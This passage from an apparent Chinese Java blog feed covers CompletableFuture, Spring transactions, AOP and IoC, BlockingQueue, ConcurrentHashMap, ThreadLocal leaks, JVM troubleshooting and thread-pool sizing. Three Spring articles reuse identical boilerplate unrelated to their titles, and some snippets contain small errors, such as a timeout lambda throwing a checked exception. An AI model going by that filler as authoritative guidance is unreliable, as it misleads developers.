    CompletableFuture<User> userFuture = fetchUser(userId);
    CompletableFuture<List<Order>> ordersFuture = fetchOrders(userId);
    CompletableFuture<List<Coupon>> couponsFuture = fetchCoupons(userId);
    
    return CompletableFuture.allOf(userFuture, ordersFuture, couponsFuture)
        .thenApply(v -> {
            UserProfile profile = new UserProfile();
            profile.setUser(userFuture.join());
            profile.setOrders(ordersFuture.join());
            profile.setCoupons(couponsFuture.join());
            return profile;
        });
}

3. 超时控制

public CompletableFuture<String> fetchWithTimeout() {
    CompletableFuture<String> future = CompletableFuture.supplyAsync(() -> {
        return callExternalAPI();
    });
    
    CompletableFuture<String> timeout = CompletableFuture.supplyAsync(() -> {
        sleep(5000);
        throw new TimeoutException();
    });
    
    return future.applyToEither(timeout, result -> result)
        .exceptionally(ex -> "timeout");
}

// Java 9+ 更简单
future.orTimeout(5, TimeUnit.SECONDS);  // 5秒超时
future.completeOnTimeout("default", 5, TimeUnit.SECONDS);

注意事项

1. 线程池选择

// CPU密集型：使用ForkJoinPool.commonPool()
CompletableFuture.supplyAsync(() -> compute());

// IO密集型：自定义线程池
CompletableFuture.supplyAsync(() -> callAPI(), ioExecutor);

2. 异常传播

// 错误：异常被吞掉
future.thenApply(result -> result.toUpperCase());  // 如果future异常，这里不会执行

// 正确：始终处理异常
future.thenApply(...)
      .exceptionally(ex -> { ... });

3. 避免阻塞

// 错误：在异步链中阻塞
CompletableFuture.supplyAsync(() -> {
    return anotherFuture.join();  // 阻塞！
});

// 正确：扁平化
CompletableFuture.supplyAsync(() -> "data")
    .thenCompose(data -> callAnotherAPI(data));

总结

方法输入输出说明
thenApplyTU转换结果
thenAcceptTvoid消费结果
thenRun-void不依赖结果
thenComposeTCompletableFuture扁平化
thenCombineT, UV合并两个结果
allOf多个Void全部完成
anyOf多个Object任意完成
exceptionallyExceptionT异常恢复
handleT/ExU统一处理

CompletableFuture 让异步编程变得声明式和可组合，是构建高并发、响应式系统的利器。

]]> Java并发 Java 并发 Spring 事务失效的常见原因 //spring-shi-wu-shi-xiao-de-chang-jian-yuan-yin/ Spring 事务失效的常见原因

Spring 事务用起来简单，但失效场景非常多。很多人遇到过 @Transactional 不生效的情况，却不知道原因。本文把日常开发中常见的坑和对应的排查思路整理出来，帮你避免踩坑。

先搭一个最小接口

以 Spring Boot 为例，一个接口最好保持分层清楚：

@RestController
@RequestMapping("/users")
public class UserController {
    private final UserService userService;

    public UserController(UserService userService) {
        this.userService = userService;
    }

    @GetMapping("/{id}")
    public UserDTO detail(@PathVariable Long id) {
        return userService.detail(id);
    }
}

Controller 只负责接收请求和返回结果，业务逻辑放到 Service。这样代码更容易测试，也更容易维护。

配置和验证

如果涉及环境配置，建议拆分：

spring:
  profiles:
    active: dev

server:
  port: 8080

生产环境启动时不要手工改文件，可以通过参数指定：

java -jar app.jar --spring.profiles.active=prod

接口写完后，用 curl 验证：

curl http://localhost:8080/users/1

常见坑

  • 事务方法必须通过 Spring 代理调用，类内部直接调用可能导致事务不生效。
  • Controller 不要返回 Entity，避免数据库字段直接暴露。
  • 参数校验和异常处理最好统一做，不要散落在每个接口里。

核心要点

  1. 事务失效的常见原因：非 public 方法、自调用、异常被吞掉、错误的传播级别

  2. 事务传播级别决定了方法之间的事务关系，REQUIRED 是默认值

  3. 使用 @Transactional(rollbackFor = Exception.class) 确保异常回滚

  4. 编程式事务在某些场景下比声明式事务更灵活

总结

事务管理是保证数据一致性的关键。理解事务的工作机制和常见陷阱，能帮你写出更健壮的代码。在实际项目中，合理配置事务边界非常重要。

]]> Spring JAVA Spring 阻塞队列BlockingQueue详解 //zu-sai-dui-lie-blockingqueue-xiang-jie/ 阻塞队列BlockingQueue详解

BlockingQueue 是 Java 并发包中用于线程间数据交换的阻塞队列接口。本文系统讲解其 API 和七种实现类。

核心 API

BlockingQueue 提供四组插入/移除方法：

操作抛出异常返回特殊值阻塞等待超时退出
插入add(e)offer(e)put(e)offer(e, time, unit)
移除remove()poll()take()poll(time, unit)
检查element()peek()不可用不可用
BlockingQueue<String> queue = new ArrayBlockingQueue<>(10);

// 阻塞插入
queue.put("item");

// 阻塞取出
String item = queue.take();

七种实现类

1. ArrayBlockingQueue

BlockingQueue<String> queue = new ArrayBlockingQueue<>(100);
BlockingQueue<String> queue = new ArrayBlockingQueue<>(100, true);  // 公平锁

特点：

  • 有界数组队列
  • 一把 ReentrantLock + 两个 Condition（notEmpty、notFull）
  • 插入和移除共用同一把锁
  • 必须指定容量

适用：生产者-消费者模式，需要限制内存的场景。

2. LinkedBlockingQueue

BlockingQueue<String> queue = new LinkedBlockingQueue<>();     // 无界（Integer.MAX_VALUE）
BlockingQueue<String> queue = new LinkedBlockingQueue<>(100);  // 有界

特点：

  • 链表实现
  • 两把锁：putLock 和 takeLock，读写分离
  • 无界版本有 OOM 风险

适用：吞吐量要求高的生产者-消费者场景。

3. SynchronousQueue

BlockingQueue<String> queue = new SynchronousQueue<>();        // 非公平
BlockingQueue<String> queue = new SynchronousQueue<>(true);    // 公平

特点：

  • 不存储元素
  • 每个插入操作必须等待一个移除操作
  • 吞吐量最高

适用：直接传递、线程池（Executors.newCachedThreadPool）。

// 线程间直接交换
new Thread(() -> {
    try {
        queue.put("data");  // 阻塞，直到有消费者
    } catch (InterruptedException e) {}
}).start();

new Thread(() -> {
    try {
        String data = queue.take();  // 阻塞，直到有生产者
    } catch (InterruptedException e) {}
}).start();

4. PriorityBlockingQueue

BlockingQueue<Task> queue = new PriorityBlockingQueue<>(100, 
    Comparator.comparingInt(Task::getPriority));

特点：

  • 支持优先级排序
  • 无界（自动扩容）
  • 基于最小堆实现

适用：任务调度、按优先级处理的场景。

5. DelayQueue

BlockingQueue<DelayedTask> queue = new DelayQueue<>();

public class DelayedTask implements Delayed {
    private final long executeTime;
    
    @Override
    public long getDelay(TimeUnit unit) {
        return unit.convert(executeTime - System.currentTimeMillis(), TimeUnit.MILLISECONDS);
    }
    
    @Override
    public int compareTo(Delayed other) {
        return Long.compare(this.executeTime, ((DelayedTask) other).executeTime);
    }
}

特点：

  • 元素只有到期后才能取出
  • 基于 PriorityQueue

适用：定时任务调度、缓存过期。

6. LinkedTransferQueue

TransferQueue<String> queue = new LinkedTransferQueue<>();

// 传输：阻塞直到被消费
queue.transfer("data");

// 尝试传输：不阻塞
queue.tryTransfer("data");

// 超时传输
queue.tryTransfer("data", 1, TimeUnit.SECONDS);

特点：

  • 结合了 SynchronousQueue 和 LinkedBlockingQueue
  • transfer 方法：有等待消费者则直接传递，否则入队
  • 无锁实现（CAS），性能极高

7. LinkedBlockingDeque

BlockingDeque<String> deque = new LinkedBlockingDeque<>();

deque.addFirst("first");
deque.addLast("last");

String first = deque.takeFirst();
String last = deque.takeLast();

特点：

  • 双端阻塞队列
  • 支持 FIFO 和 LIFO

适用：工作窃取算法。

实现对比

队列有界锁机制吞吐量适用场景
ArrayBlockingQueue是单锁中有界缓冲
LinkedBlockingQueue可选双锁高生产者-消费者
SynchronousQueue否无存储最高直接传递
PriorityBlockingQueue否单锁中优先级调度
DelayQueue否单锁中延迟任务
LinkedTransferQueue否无锁极高混合场景
LinkedBlockingDeque可选双锁高双端操作

生产者-消费者实现

public class ProducerConsumer {
    private final BlockingQueue<String> queue = new ArrayBlockingQueue<>(100);
    
    class Producer implements Runnable {
        @Override
        public void run() {
            try {
                while (!Thread.interrupted()) {
                    String item = produce();
                    queue.put(item);  // 队列满时阻塞
                }
            } catch (InterruptedException e) {
                Thread.currentThread().interrupt();
            }
        }
    }
    
    class Consumer implements Runnable {
        @Override
        public void run() {
            try {
                while (!Thread.interrupted()) {
                    String item = queue.take();  // 队列空时阻塞
                    consume(item);
                }
            } catch (InterruptedException e) {
                Thread.currentThread().interrupt();
            }
        }
    }
}

线程池中的应用

// CachedThreadPool：SynchronousQueue
new ThreadPoolExecutor(0, Integer.MAX_VALUE, 60L, TimeUnit.SECONDS,
    new SynchronousQueue<Runnable>());

// FixedThreadPool：LinkedBlockingQueue（无界！危险）
new ThreadPoolExecutor(nThreads, nThreads, 0L, TimeUnit.MILLISECONDS,
    new LinkedBlockingQueue<Runnable>());

// 自定义：有界队列 + 拒绝策略
new ThreadPoolExecutor(10, 20, 60, TimeUnit.SECONDS,
    new ArrayBlockingQueue<>(1000),
    new ThreadPoolExecutor.CallerRunsPolicy());

最佳实践

  1. 优先使用有界队列：防止 OOM
  2. 选择合适的实现：
    • 高并发直接传递：SynchronousQueue
    • 通用生产者-消费者：LinkedBlockingQueue（指定容量）
    • 优先级处理：PriorityBlockingQueue
    • 延迟任务：DelayQueue
  3. 正确处理 InterruptedException
  4. 关闭时清空队列：避免任务丢失
// 优雅关闭
public void shutdown() {
    executor.shutdown();
    List<Runnable> remaining = executor.shutdownNow();
    // 处理剩余任务...
}

总结

BlockingQueue 是 Java 并发编程中最实用的工具之一，它：

  • 解耦了生产者和消费者
  • 自动处理线程等待和唤醒
  • 多种实现满足不同的性能需求

理解各实现类的特点，选择合适的队列，是设计高效并发系统的关键。

]]> Java并发 Java 并发 Spring AOP 的原理和常见应用 //spring-aop-de-yuan-li-he-chang-jian-ying-yong/ Spring AOP 的原理和常见应用

AOP 是 Spring 的核心功能之一，但真正用起来容易踩坑。很多人知道 @Aspect 注解，却不清楚代理模式的区别、切面的执行顺序、以及自调用失效的问题。本文从配置到常见问题，把实际项目中的处理思路整理出来。

先搭一个最小接口

以 Spring Boot 为例，一个接口最好保持分层清楚：

@RestController
@RequestMapping("/users")
public class UserController {
    private final UserService userService;

    public UserController(UserService userService) {
        this.userService = userService;
    }

    @GetMapping("/{id}")
    public UserDTO detail(@PathVariable Long id) {
        return userService.detail(id);
    }
}

Controller 只负责接收请求和返回结果，业务逻辑放到 Service。这样代码更容易测试，也更容易维护。

配置和验证

如果涉及环境配置，建议拆分：

spring:
  profiles:
    active: dev

server:
  port: 8080

生产环境启动时不要手工改文件，可以通过参数指定：

java -jar app.jar --spring.profiles.active=prod

接口写完后，用 curl 验证：

curl http://localhost:8080/users/1

常见坑

  • 事务方法必须通过 Spring 代理调用，类内部直接调用可能导致事务不生效。
  • Controller 不要返回 Entity，避免数据库字段直接暴露。
  • 参数校验和异常处理最好统一做，不要散落在每个接口里。

核心要点

  1. JDK 动态代理和 CGLIB 代理的区别：前者基于接口，后者基于类

  2. 切面的优先级由 @Order 注解控制，数字越小优先级越高

  3. 自调用问题的原因是内部方法调用不会经过代理对象

  4. 使用 ProxyUtils 或暴露 AopContext 可以解决自调用问题

总结

AOP 是实现横切关注点的利器，但需要理解其底层机制才能用好。在实际项目中，日志、事务、权限校验都是 AOP 的典型应用场景。

]]> Spring JAVA Spring ConcurrentHashMap为什么适合并发 //concurrenthashmap-wei-shi-me-gua-he-bing-fa/ ConcurrentHashMap为什么适合并发

ConcurrentHashMap 为什么在并发场景下更合适，背后涉及哪些实现细节。从 Java 7 到 Java 8，它的实现发生了很大变化。本文结合实际代码讲清楚这些变化和设计思想。

Map 实现对比

实现线程安全性能null支持迭代器
HashMap否高Key/Value快速失败
Hashtable是（synchronized）低不支持快速失败
Collections.synchronizedMap是（包装器）低支持快速失败
ConcurrentHashMap是高不支持弱一致性

JDK 7：分段锁（Segment）

#

数据结构

ConcurrentHashMap
  ├── Segment[0] -> HashEntry[0] -> Node -> Node
  ├── Segment[1] -> HashEntry[1] -> Node
  ├── Segment[2] -> HashEntry[2] -> Node -> Node -> Node
  └── ...
// Segment 继承 ReentrantLock
static final class Segment<K,V> extends ReentrantLock {
    transient volatile HashEntry<K,V>[] table;
    transient int count;
}

#

核心参数

  • DEFAULT_CONCURRENCY_LEVEL = 16：默认 16 个 Segment
  • 每个 Segment 是一个独立的哈希表
  • 操作只锁定相关 Segment，其他 Segment 不受影响

#

put 流程

public V put(K key, V value) {
    Segment<K,V> s;
    if (value == null) throw new NullPointerException();
    
    int hash = hash(key);
    int j = (hash >>> segmentShift) & segmentMask;  // 定位Segment
    
    if ((s = (Segment<K,V>)UNSAFE.getObject(segments, (j << SSHIFT) + SBASE)) == null)
        s = ensureSegment(j);
    
    return s.put(key, hash, value, false);  // 在Segment内加锁put
}

#

get 流程（无锁）

public V get(Object key) {
    HashEntry<K,V>[] tab;
    V v = null;
    // 使用UNSAFE.getObjectVolatile读取，保证可见性
    if ((tab = table) != null && (n = tab.length) > 0) {
        HashEntry<K,V> e = (HashEntry<K,V>) UNSAFE.getObjectVolatile(
            tab, ((long)(((n - 1) & hash)) << TSHIFT) + TBASE);
        while (e != null) {
            if (e.hash == hash && key.equals(e.key))
                return e.value;
            e = e.next;
        }
    }
    return null;
}

JDK 8：CAS + synchronized

#

数据结构

Node[] table
  ├── null
  ├── Node（链表头）
  ├── TreeBin（红黑树根）
  └── ForwardingNode（扩容时使用）
// 基本节点
transient volatile Node<K,V>[] table;

static class Node<K,V> implements Map.Entry<K,V> {
    final int hash;
    final K key;
    volatile V val;       // volatile保证可见性
    volatile Node<K,V> next;
}

#

put 流程

final V putVal(K key, V value, boolean onlyIfAbsent) {
    if (key == null || value == null) throw new NullPointerException();
    int hash = spread(key.hashCode());
    int binCount = 0;
    
    for (Node<K,V>[] tab = table;;) {
        Node<K,V> f; int n, i, fh;
        
        // 1. table未初始化，初始化
        if (tab == null || (n = tab.length) == 0)
            tab = initTable();
        
        // 2. 目标槽位为空，CAS插入
        else if ((f = tabAt(tab, i = (n - 1) & hash)) == null) {
            if (casTabAt(tab, i, null, new Node<K,V>(hash, key, value, null)))
                break;
        }
        
        // 3. 发现ForwardingNode，帮助扩容
        else if ((fh = f.hash) == MOVED)
            tab = helpTransfer(tab, f);
        
        // 4. 槽位有值，synchronized锁定头节点
        else {
            V oldVal = null;
            synchronized (f) {  // 只锁定单个槽位！
                if (tabAt(tab, i) == f) {
                    if (fh >= 0) {  // 链表
                        binCount = 1;
                        for (Node<K,V> e = f;; ++binCount) {
                            K ek;
                            if (e.hash == hash &&
                                ((ek = e.key) == key || (ek != null && key.equals(ek)))) {
                                oldVal = e.val;
                                if (!onlyIfAbsent)
                                    e.val = value;
                                break;
                            }
                            Node<K,V> pred = e;
                            if ((e = e.next) == null) {
                                pred.next = new Node<K,V>(hash, key, value, null);
                                break;
                            }
                        }
                    }
                    else if (f instanceof TreeBin) {  // 红黑树
                        // ...
                    }
                }
            }
            
            if (binCount != 0) {
                if (binCount >= TREEIFY_THRESHOLD)
                    treeifyBin(tab, i);  // 链表转红黑树
                if (oldVal != null)
                    return oldVal;
                break;
            }
        }
    }
    addCount(1L, binCount);
    return null;
}

JDK 8 优化点：

  1. 锁粒度更细：只锁定单个槽位（头节点），而非整个 Segment
  2. 无锁 get：volatile 保证可见性
  3. CAS 优化：槽位为空时直接 CAS

#

size 计算

public int size() {
    long n = sumCount();
    return ((n < 0L) ? 0 :
            (n > (long)Integer.MAX_VALUE) ? Integer.MAX_VALUE : (int)n);
}

// 使用CounterCell分散热点
@sun.misc.Contended
static final class CounterCell {
    volatile long value;
    CounterCell(long x) { value = x; }
}

@Contended：避免伪共享（False Sharing），提升并发性能。

关键设计亮点

#

1. volatile + CAS 无锁读

// 使用Unsafe直接内存访问
static final <K,V> Node<K,V> tabAt(Node<K,V>[] tab, int i) {
    return (Node<K,V>)U.getObjectVolatile(tab, ((long)i << ASHIFT) + ABASE);
}

#

2. synchronized 只锁定头节点

相比 JDK 7 的 Segment 锁，粒度更细，并发度更高。

#

3. 链表转红黑树

static final int TREEIFY_THRESHOLD = 8;   // 链表长度>=8转树
static final int UNTREEIFY_THRESHOLD = 6; // 树节点<=6转链表

#

4. 扩容优化

  • 支持多线程协助扩容（helpTransfer）
  • 渐进式扩容，不阻塞读操作

使用注意事项

#

1. 不支持 null

map.put("key", null);   // NullPointerException
map.put(null, "value"); // NullPointerException

原因：无法区分”key 不存在”和”key 对应的 value 为 null”。

#

2. size() 是估计值

// 弱一致性，可能读到旧值
int size = map.size();

#

3. 复合操作非原子

// 错误！不是原子操作
if (!map.containsKey(key)) {
    map.put(key, value);
}

// 正确：使用putIfAbsent
map.putIfAbsent(key, value);

// 或computeIfAbsent
map.computeIfAbsent(key, k -> createValue());

#

4. 遍历是弱一致性

for (Map.Entry<String, String> entry : map.entrySet()) {
    // 可能读到其他线程正在插入的数据
    // 也可能读不到其他线程已插入的数据
}

最佳实践

// 1. 使用computeIfAbsent（原子且高效）
map.computeIfAbsent(key, k -> new ArrayList<>()).add(value);

// 2. 使用merge更新值
map.merge(key, 1, Integer::sum);

// 3. 批量操作使用并行流
ConcurrentHashMap<String, Integer> result = list.parallelStream()
    .collect(Collectors.toConcurrentMap(
        Function.identity(),
        s -> 1,
        Integer::sum
    ));

总结

版本锁机制并发度特点
JDK 7Segment（16个）16分段锁
JDK 8synchronized（槽位级）槽位数更细粒度

ConcurrentHashMap 通过精巧的设计，在保证线程安全的同时实现了极高的并发性能，是并发场景下 Map 的首选实现。

核心要点

  1. Java 7 使用分段锁，Java 8 使用 CAS + synchronized

  2. 锁粒度从段级别降到了节点级别

  3. 使用红黑树优化链表的查询性能

  4. 支持原子操作，如 putIfAbsent、computeIfAbsent

总结

ConcurrentHashMap 是并发编程中常用的数据结构，理解它的实现细节有助于更好地使用它。在实际项目中，选择合适的并发集合可以显著提升性能。

]]> Java并发 Java 并发 Spring IoC 容器到底解决了什么 //spring-ioc-rong-qi-dao-di-jie-jue-liao-shi-me/ Spring IoC 容器到底解决了什么

IoC 容器是 Spring 的根基，很多开发者每天在用却未必能说清它解决了什么。从手动 new 对象到依赖注入，这个转变看似简单，却带来了巨大的设计优势。本文从实际使用场景出发，理解依赖注入的价值。

先搭一个最小接口

以 Spring Boot 为例，一个接口最好保持分层清楚：

@RestController
@RequestMapping("/users")
public class UserController {
    private final UserService userService;

    public UserController(UserService userService) {
        this.userService = userService;
    }

    @GetMapping("/{id}")
    public UserDTO detail(@PathVariable Long id) {
        return userService.detail(id);
    }
}

Controller 只负责接收请求和返回结果，业务逻辑放到 Service。这样代码更容易测试，也更容易维护。

配置和验证

如果涉及环境配置，建议拆分：

spring:
  profiles:
    active: dev

server:
  port: 8080

生产环境启动时不要手工改文件，可以通过参数指定：

java -jar app.jar --spring.profiles.active=prod

接口写完后，用 curl 验证：

curl http://localhost:8080/users/1

常见坑

  • 事务方法必须通过 Spring 代理调用，类内部直接调用可能导致事务不生效。
  • Controller 不要返回 Entity，避免数据库字段直接暴露。
  • 参数校验和异常处理最好统一做，不要散落在每个接口里。

核心要点

  1. 依赖注入实现了控制反转，把对象创建的控制权交给容器

  2. 构造器注入优于字段注入，能保证依赖的不可变性和非空性

  3. IoC 容器提供了对象生命周期管理、依赖解析、配置管理等能力

  4. 通过 @Autowired 或 @Resource 注解实现依赖注入，前者按类型，后者按名称

总结

IoC 不仅是一种技术实现，更是一种设计理念。它让代码更易测试、更易维护、更具扩展性。理解 IoC 有助于更好地设计和架构 Spring 应用。

]]> Spring JAVA Spring ThreadLocal的使用和内存泄漏 //threadlocal-de-shi-yong-he-nei-cun-xie-lou/ ThreadLocal的使用和内存泄漏

ThreadLocal 解决了什么问题、会引发什么问题，这是一个经典话题。很多人用 ThreadLocal 存储用户上下文，却忽略了内存泄漏的风险。本文从原理到内存泄漏的处理方式都覆盖到。

ThreadLocal 的基本用法

public class UserContext {
    private static final ThreadLocal<User> currentUser = new ThreadLocal<>();
    
    public static void set(User user) {
        currentUser.set(user);
    }
    
    public static User get() {
        return currentUser.get();
    }
    
    public static void remove() {
        currentUser.remove();
    }
}

// 使用
UserContext.set(new User("张三"));
User user = UserContext.get();  // 获取当前线程的用户
UserContext.remove();           // 清理

典型应用场景

#

1. 用户登录信息传递

public class AuthInterceptor implements HandlerInterceptor {
    @Override
    public boolean preHandle(HttpServletRequest req, HttpServletResponse res, Object handler) {
        String token = req.getHeader("Authorization");
        User user = authService.validate(token);
        UserContext.set(user);  // 绑定到当前线程
        return true;
    }
    
    @Override
    public void afterCompletion(...) {
        UserContext.remove();  // 请求结束，清理
    }
}

#

2. 数据库连接管理

public class ConnectionManager {
    private static final ThreadLocal<Connection> holder = new ThreadLocal<>();
    
    public static Connection getConnection() throws SQLException {
        Connection conn = holder.get();
        if (conn == null) {
            conn = dataSource.getConnection();
            holder.set(conn);
        }
        return conn;
    }
}

#

3. SimpleDateFormat 线程安全

public class DateUtil {
    private static final ThreadLocal<SimpleDateFormat> formatter = 
        ThreadLocal.withInitial(() -> new SimpleDateFormat("yyyy-MM-dd"));
    
    public static String format(Date date) {
        return formatter.get().format(date);
    }
}

Java 8+ 推荐：使用 DateTimeFormatter，它是线程安全的。

底层实现原理

#

Thread 内部结构

public class Thread implements Runnable {
    ThreadLocal.ThreadLocalMap threadLocals = null;
}

每个 Thread 对象内部维护一个 ThreadLocalMap。

#

ThreadLocalMap

static class ThreadLocalMap {
    static class Entry extends WeakReference<ThreadLocal<?>> {
        Object value;  // 强引用！
        
        Entry(ThreadLocal<?> k, Object v) {
            super(k);
            value = v;
        }
    }
    
    private Entry[] table;
}

关键设计：

  • Key 是弱引用：ThreadLocal 对象可以被 GC 回收
  • Value 是强引用：即使 Key 被回收，Value 仍然存在

内存泄漏原因

#

泄漏场景

// 线程池环境
ExecutorService pool = Executors.newFixedThreadPool(10);

pool.submit(() -> {
    ThreadLocal<byte[]> local = new ThreadLocal<>();
    local.set(new byte[1024 * 1024 * 100]);  // 100MB
    // 业务逻辑...
    // 忘记 remove()！
});

问题：

  1. ThreadLocal 引用被释放（方法结束，局部变量）
  2. 但线程池中的线程不会销毁
  3. ThreadLocalMap 中的 Entry：Key 为 null（弱引用被回收），Value 仍为 100MB
  4. 线程一直存活，Value 一直无法释放

#

图解

Thread（线程池线程，长期存活）
  └── ThreadLocalMap
        ├── Entry[0]: Key=null（弱引用已回收）, Value=100MB ← 泄漏！
        ├── Entry[1]: Key=ThreadLocal@xxx, Value=...
        └── ...

解决方案

#

1. 及时 remove()

try {
    threadLocal.set(value);
    // 业务逻辑
} finally {
    threadLocal.remove();  // 必须清理
}

#

2. 使用 try-with-resources 模式

public class AutoCloseableThreadLocal<T> extends ThreadLocal<T> 
    implements AutoCloseable {
    
    @Override
    public void close() {
        this.remove();
    }
}

// 使用
try (AutoCloseableThreadLocal<User> tl = new AutoCloseableThreadLocal<>()) {
    tl.set(new User());
    // 自动调用 remove()
}

#

3. 使用 InheritableThreadLocal（父子线程传递）

// 子线程继承父线程的 ThreadLocal 值
InheritableThreadLocal<String> inheritable = new InheritableThreadLocal<>();
inheritable.set("父线程的值");

new Thread(() -> {
    System.out.println(inheritable.get());  // "父线程的值"
}).start();

注意：线程池中使用 InheritableThreadLocal 需要配合 TransmittableThreadLocal（阿里开源）。

ThreadLocalMap 的清理机制

#

线性探测 + 清理

private int expungeStaleEntry(int staleSlot) {
    Entry[] tab = table;
    int len = tab.length;
    
    // 清除当前slot
    tab[staleSlot].value = null;
    tab[staleSlot] = null;
    size--;
    
    // 重新哈希后续entry
    // ...
}

#

触发时机

  1. set() 时：发现 Key 为 null 的 Entry，清理
  2. get() 时：探测过程中清理遇到的过期 Entry
  3. remove() 时：主动清理
  4. 扩容时：全表扫描清理

问题：只有当再次访问 ThreadLocal 时才会清理，如果一直不访问，泄漏的 Value 一直存在。

最佳实践

#

1. 始终在使用后 remove()

public void process() {
    context.set(user);
    try {
        doWork();
    } finally {
        context.remove();  // 确保清理
    }
}

#

2. 使用静态 ThreadLocal

// 推荐
private static final ThreadLocal<User> context = new ThreadLocal<>();

// 不推荐：每个实例创建一个
private final ThreadLocal<User> context = new ThreadLocal<>();

#

3. 注意线程池环境

// Spring 的 @Async 线程池
@Async("taskExecutor")
public void asyncTask() {
    try {
        User user = UserContext.get();
        // ...
    } finally {
        UserContext.remove();  // 必须清理
    }
}

#

4. 考虑使用替代方案

场景替代方案
请求上下文方法参数传递
日期格式化DateTimeFormatter
随机数ThreadLocalRandom

总结

要点说明
原理Thread 内部维护 ThreadLocalMap
Key弱引用，可被 GC
Value强引用，是泄漏根源
预防使用完必须 remove()
高危场景线程池 + 大对象

ThreadLocal 是强大的工具，但在线程池环境下必须谨慎使用。记住：每次 set() 后，都要有对应的 remove()。

核心要点

  1. ThreadLocal 为每个线程提供独立的变量副本

  2. 底层使用 ThreadLocalMap 存储，key 是弱引用

  3. 内存泄漏的原因：ThreadLocal 被回收，但 Entry 仍然引用着 value

  4. 解决方案：使用完毕后调用 remove() 方法

总结

ThreadLocal 是一个强大的工具，但需要谨慎使用。在实际项目中，结合 try-finally 块确保资源被正确清理，可以有效避免内存泄漏问题。

]]> Java并发 Java 并发 内存溢出和内存泄漏排查流程 //nei-cun-yi-chu-he-nei-cun-xie-lou-pai-cha-liu-cheng/ 内存溢出和内存泄漏排查流程

内存溢出和内存泄漏在 Java 项目中并不少见。本文讲排查流程和常见原因。

先看现象，不要急着改参数

JVM 问题常见现象有：CPU 飙高、频繁 Full GC、接口变慢、内存溢出。处理时先收集证据：

jps -l
top -Hp <pid>
jstat -gcutil <pid> 1000 10
jmap -histo <pid> | head -30

如果是 CPU 高，把线程 id 转成十六进制后，用 jstack 找对应线程：

printf '%x\n' <tid>
jstack <pid> | grep -A 30 '<hexTid>'

GC 日志怎么看

不要只看“发生了 GC”，重点看频率、停顿时间、回收前后内存变化。如果每次回收后老年代仍然很高，可能是对象长期被引用，需要继续分析堆。

小白可以怎么练

本地写一个不断往 List 里放对象的 demo，故意触发 OOM，然后用 jmap 导出堆文件，用 MAT 或 VisualVM 看最大对象是谁。练过一次，线上看到类似问题就不会慌。

]]> JVM JAVA JVM 线程池参数如何设置才靠谱 //xian-cheng-chi-can-shu-ru-he-she-zhi-cai-kao-pu/ 线程池参数如何设置才靠谱

线程池是 Java 并发编程中最重要的工具之一。合理配置线程池参数，能显著提升系统性能和稳定性。

ThreadPoolExecutor 核心参数

public ThreadPoolExecutor(
    int corePoolSize,      // 核心线程数
    int maximumPoolSize,   // 最大线程数
    long keepAliveTime,    // 空闲线程存活时间
    TimeUnit unit,         // 时间单位
    BlockingQueue<Runnable> workQueue,  // 任务队列
    ThreadFactory threadFactory,        // 线程工厂
    RejectedExecutionHandler handler    // 拒绝策略
)

参数详解

corePoolSize（核心线程数）

线程池维护的最小线程数，即使空闲也保留。

maximumPoolSize（最大线程数）

线程池允许的最大线程数。

workQueue（任务队列）

队列类型特点
ArrayBlockingQueue有界数组队列，需指定容量
LinkedBlockingQueue无界链表队列（默认Integer.MAX_VALUE）
SynchronousQueue不存储元素，直接提交给线程
PriorityBlockingQueue优先级队列

注意：Executors.newFixedThreadPool() 使用无界 LinkedBlockingQueue，可能导致 OOM！

拒绝策略

策略行为
AbortPolicy抛出RejectedExecutionException（默认）
CallerRunsPolicy由调用线程执行任务
DiscardPolicy静默丢弃任务
DiscardOldestPolicy丢弃最老的任务，重试提交

线程池工作流程

提交任务
    |
    v
核心线程是否已满？ --否--> 创建核心线程执行任务
    |是
    v
队列是否已满？ --否--> 任务入队等待
    |是
    v
最大线程是否已满？ --否--> 创建非核心线程执行任务
    |是
    v
执行拒绝策略

参数设置公式

CPU 密集型任务

任务主要进行计算，很少阻塞。

corePoolSize = CPU核心数 + 1
maximumPoolSize = corePoolSize

原因：

  • CPU 密集型任务应尽量减少线程切换
  • 多一个线程是为了充分利用 CPU 时间片
int cpuCore = Runtime.getRuntime().availableProcessors();
int poolSize = cpuCore + 1;

IO 密集型任务

任务涉及网络、磁盘等 IO 操作，线程会大量阻塞。

corePoolSize = CPU核心数 * 2
maximumPoolSize = CPU核心数 * 2 + 1

原因：

  • IO 阻塞时 CPU 空闲，需要更多线程提高利用率
  • 具体数值需根据实际 IO 等待时间调整

通用公式（更精确）

corePoolSize = CPU核心数 / (1 - 阻塞系数)

阻塞系数 = 阻塞时间 / (阻塞时间 + 计算时间)
任务类型阻塞系数
纯计算0
少量 IO0.3~0.5
大量 IO0.8~0.9

示例：

// 计算密集型：阻塞系数 0.1
int coreForCompute = (int) (cpuCore / (1 - 0.1));  // ~12（8核）

// IO密集型（HTTP调用）：阻塞系数 0.8
int coreForIO = (int) (cpuCore / (1 - 0.8));  // 40（8核）

实际配置示例

异步处理线程池

@Bean("asyncExecutor")
public Executor asyncExecutor() {
    int cpuCore = Runtime.getRuntime().availableProcessors();
    
    ThreadPoolExecutor executor = new ThreadPoolExecutor(
        cpuCore * 2,           // 核心线程
        cpuCore * 4,           // 最大线程
        60L, TimeUnit.SECONDS,
        new LinkedBlockingQueue<>(1000),  // 有界队列！
        new ThreadFactoryBuilder().setNameFormat("async-%d").build(),
        new ThreadPoolExecutor.CallerRunsPolicy()
    );
    
    executor.allowCoreThreadTimeOut(true);  // 允许核心线程超时回收
    return executor;
}

定时任务线程池

@Bean("scheduledExecutor")
public ScheduledExecutorService scheduledExecutor() {
    return new ScheduledThreadPoolExecutor(
        5,
        new ThreadFactoryBuilder().setNameFormat("schedule-%d").build(),
        new ThreadPoolExecutor.AbortPolicy()
    );
}

禁止使用 Executors 创建线程池

问题分析

// 危险！无界队列可能导致OOM
ExecutorService pool = Executors.newFixedThreadPool(100);

// 危险！允许无限创建线程
ExecutorService pool = Executors.newCachedThreadPool();

// 危险！单线程，队列无界
ExecutorService pool = Executors.newSingleThreadExecutor();

阿里巴巴编码规范

强制线程池不允许使用 Executors 去创建，而是通过 ThreadPoolExecutor 的方式，这样的处理方式让写的同学更加明确线程池的运行规则，规避资源耗尽的风险。

线程池监控

public class ThreadPoolMonitor {
    public static void printStats(ThreadPoolExecutor pool) {
        System.out.println("核心线程数: " + pool.getCorePoolSize());
        System.out.println("最大线程数: " + pool.getMaximumPoolSize());
        System.out.println("当前线程数: " + pool.getPoolSize());
        System.out.println("活跃线程数: " + pool.getActiveCount());
        System.out.println("完成任务数: " + pool.getCompletedTaskCount());
        System.out.println("队列任务数: " + pool.getQueue().size());
